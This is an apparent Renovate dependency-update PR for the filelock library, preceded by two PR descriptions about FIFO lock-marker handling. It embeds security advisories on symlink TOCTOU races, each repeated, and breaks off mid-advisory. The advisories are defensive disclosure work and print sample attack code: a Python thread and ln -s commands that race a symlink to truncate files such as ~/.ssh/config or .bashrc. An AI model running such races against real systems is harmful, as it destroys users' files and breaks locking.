🐛 fix(soft_rw): evict non-regular write marker without reading it#588
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_read_marker read the marker to judge it, but reading a FIFO diverges by platform: an empty non-blocking read yields 0 bytes on Linux/macOS (so the FIFO parses as a malformed marker and gets evicted) but raises EAGAIN on FreeBSD, where _read_marker then returned None, _break_stale_marker bailed, and the stale FIFO wedged the acquire until timeout (tox-dev#587). A legitimate marker is always a regular file, so fstat the fd and report anything else as a malformed marker straight away -- its mtime still drives stale eviction -- instead of reading it. fstat classifies the FIFO the same on every platform, so the writerless case FreeBSD tripped on and the writer-attached case that raises EAGAIN everywhere both evict. Add test_fifo_write_marker_with_writer_is_evicted: attaching a writer forces the EAGAIN path on any platform, reproducing the FreeBSD failure portably. It times out at the same _wait_for line before the fix.
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_read_lock_file reads the soft lock file straight after opening it, without first checking it is a regular file. A same-uid peer can plant a fifo at the lock path with a writer attached, so the non-blocking read raises EAGAIN, which stale detection's suppress() quietly swallows; the file is then never broken and acquire just wedges until timeout (an empty non-blocking fifo read also raises EAGAIN on FreeBSD even without a writer). This mirrors the guard added to the soft read/write marker in #588: fstat first, and when the path is not a regular file report it as a malformed lock with its mtime and inode so the usual age-based eviction clears it rather than reading from it.
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This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.29.6` → `3.29.7` |  |  | --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) - [https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Release Notes <details> <summary>tox-dev/py-filelock (filelock)</summary> ### [`v3.29.7`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.7) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.6...3.29.7) <!-- Release notes generated using configuration in .github/release.yaml at main --> #### What's Changed - asyncio: detect cross-instance reentrant deadlocks before the poll loop by [@​HrachShah](https://redirect.github.com/HrachShah) in [tox-dev/filelock#586](https://redirect.github.com/tox-dev/filelock/pull/586) - 🐛 fix(soft\_rw): evict non-regular write marker without reading it by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#588](https://redirect.github.com/tox-dev/filelock/pull/588) - \_util: drop the dead st\_mtime=0 short-circuit in raise\_on\_not\_writable\_file by [@​HrachShah](https://redirect.github.com/HrachShah) in [tox-dev/filelock#589](https://redirect.github.com/tox-dev/filelock/pull/589) **Full Changelog**: <tox-dev/filelock@3.29.6...3.29.7> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - 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This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.29.6` → `3.29.7` |  |  | --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use 